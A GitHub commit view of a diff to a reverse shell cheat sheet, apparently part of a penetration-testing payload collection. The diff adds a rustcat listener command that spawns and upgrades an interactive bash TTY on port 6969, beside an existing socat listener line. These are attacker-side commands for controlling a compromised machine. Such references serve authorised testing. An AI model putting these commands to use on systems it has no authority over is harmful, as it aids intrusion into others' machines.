Update Reverse Shell Cheatsheet.md

Added in automatic shell upgrade via rustcat.
This commit is contained in:
Thigh_GoD 2023-09-08 21:15:54 +08:00 committed by GitHub
parent f9a2880ad5
commit cf9b9bf70c
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -550,6 +550,15 @@ or use `socat` binary to get a fully tty reverse shell
socat file:`tty`,raw,echo=0 tcp-listen:12345
```
Alternatively, `rustcat` binary can automatically inject the TTY shell command.
The shell will be automatically upgraded and the TTY size will be provided for manual adjustment.
```bash
stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969
```
Spawn a TTY shell from an interpreter
```powershell